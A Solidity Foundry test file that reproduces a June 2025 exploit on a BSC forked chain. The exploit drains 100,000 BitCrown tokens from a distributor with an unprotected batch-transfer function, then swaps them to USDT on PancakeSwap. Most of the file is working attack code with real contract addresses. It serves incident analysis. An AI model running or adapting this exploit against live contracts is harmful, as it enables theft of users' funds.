src/test/2025-06/BitCrown_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 7,939.27 USD
8// Attacker : 0xF499F7A82dE632cFD194025A51C88D1B44C8155e
9// Attack Contract : 0x728F4DfeC4cbeF3B51F493Fdb13b5A1824e6d24d
10// Vulnerable Contract : 0x93b621a9f8f1821a6a693a29672ca3d6612a2a7e
11// Attack Tx : https://bscscan.com/tx/0x442ce0af4d10b23968a66b0b53d7b95f5bb611d55f19dc5a1963c763f65128f0
12//
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x93b621a9f8f1821a6a693a29672ca3d6612a2a7e#code
15//
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/1243
18//
19// Attack summary: The attacker deployed a constructor-only helper, used an unverified BitCrown distributor function
20// to pull 100,000 BITCROWN tokens from the distributor into the helper, then sold those tokens through PancakeSwap
21// for USDT.
22// Root cause: The distributor exposed an unprotected batch-transfer style entrypoint that let an arbitrary caller
23// choose the token, recipient list, and amounts to transfer from the distributor's own token balance.
24 
25address constant ATTACKER = 0xF499F7a82De632CFd194025A51C88d1b44C8155e;
26address constant INITCODE_EXPLOIT = 0x728F4DFEC4cbeF3b51F493FDB13b5A1824E6D24D;
27address constant BITCROWN_DISTRIBUTOR = 0x93b621A9f8F1821a6a693A29672ca3d6612A2A7E;
28address constant BITCROWN = 0x3f74A64Eb5641D2479cB8343B2330c6598D126d4;
29address constant BITCROWN_USDT_PAIR = 0xC416B5B61321E7432AB080c2a5E0cBd573d3bFe8;
30address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
31address constant USDT_TOKEN = 0x55d398326f99059fF775485246999027B3197955;
32 
33bytes4 constant DISTRIBUTE_SELECTOR = 0x1239ec8c;
34 
35contract ContractTest is BaseTestWithBalanceLog {
36    function setUp() public {
37        uint256 forkBlock = 51_131_921;
38        vm.createSelectFork("bsc", forkBlock);
39 
40        fundingToken = USDT_TOKEN;
41        attacker = ATTACKER;
42 
43        vm.label(ATTACKER, "Attacker");
44        vm.label(INITCODE_EXPLOIT, "Attack Contract");
45        vm.label(BITCROWN_DISTRIBUTOR, "BitCrown Distributor");
46        vm.label(BITCROWN, "BitCrown");
47        vm.label(BITCROWN_USDT_PAIR, "BitCrown/USDT Pair");
48        vm.label(PANCAKE_ROUTER, "Pancake Router");
49        vm.label(USDT_TOKEN, "USDT");
50    }
51 
52    function testExploit() public balanceLog {
53        uint256 distributorBitCrownBefore = IERC20(BITCROWN).balanceOf(BITCROWN_DISTRIBUTOR);
54        uint256 attackerUsdtBefore = IERC20(USDT_TOKEN).balanceOf(ATTACKER);
55 
56        assertGe(distributorBitCrownBefore, 100_000 ether);
57 
58        // step 1: deploy the exploit helper so the vulnerable call is made from constructor/initcode context.
59        vm.prank(ATTACKER);
60        new BitCrownInitcodeExploit(ATTACKER);
61 
62        // step 2: the distributor lost BitCrown tokens and the attacker received USDT from the Pancake pair.
63        uint256 attackerUsdtProfit = IERC20(USDT_TOKEN).balanceOf(ATTACKER) - attackerUsdtBefore;
64        assertGt(attackerUsdtProfit, 7_000 ether);
65        assertLt(IERC20(BITCROWN).balanceOf(BITCROWN_DISTRIBUTOR), distributorBitCrownBefore);
66    }
67}
68 
69contract BitCrownInitcodeExploit {
70    constructor(
71        address profitReceiver
72    ) {
73        address[] memory recipients = new address[](1);
74        recipients[0] = address(this);
75 
76        uint256[] memory amounts = new uint256[](1);
77        amounts[0] = 100_000 ether;
78 
79        // step 3: call the same unverified selector as the exploit, choosing this constructor helper as recipient.
80        (bool success,) = BITCROWN_DISTRIBUTOR.call(abi.encodeWithSelector(DISTRIBUTE_SELECTOR, BITCROWN, recipients, amounts));
81        require(success, "distributor call failed");
82 
83        // step 4: sell the received BitCrown through the canonical Pancake router for USDT to the attacker.
84        uint256 bitCrownBalance = IERC20(BITCROWN).balanceOf(address(this));
85        IERC20(BITCROWN).approve(PANCAKE_ROUTER, type(uint256).max);
86 
87        address[] memory path = new address[](2);
88        path[0] = BITCROWN;
89        path[1] = USDT_TOKEN;
90 
91        IPancakeRouter(payable(PANCAKE_ROUTER)).swapExactTokensForTokensSupportingFeeOnTransferTokens(
92            bitCrownBalance, 0, path, profitReceiver, block.timestamp
93        );
94    }
95}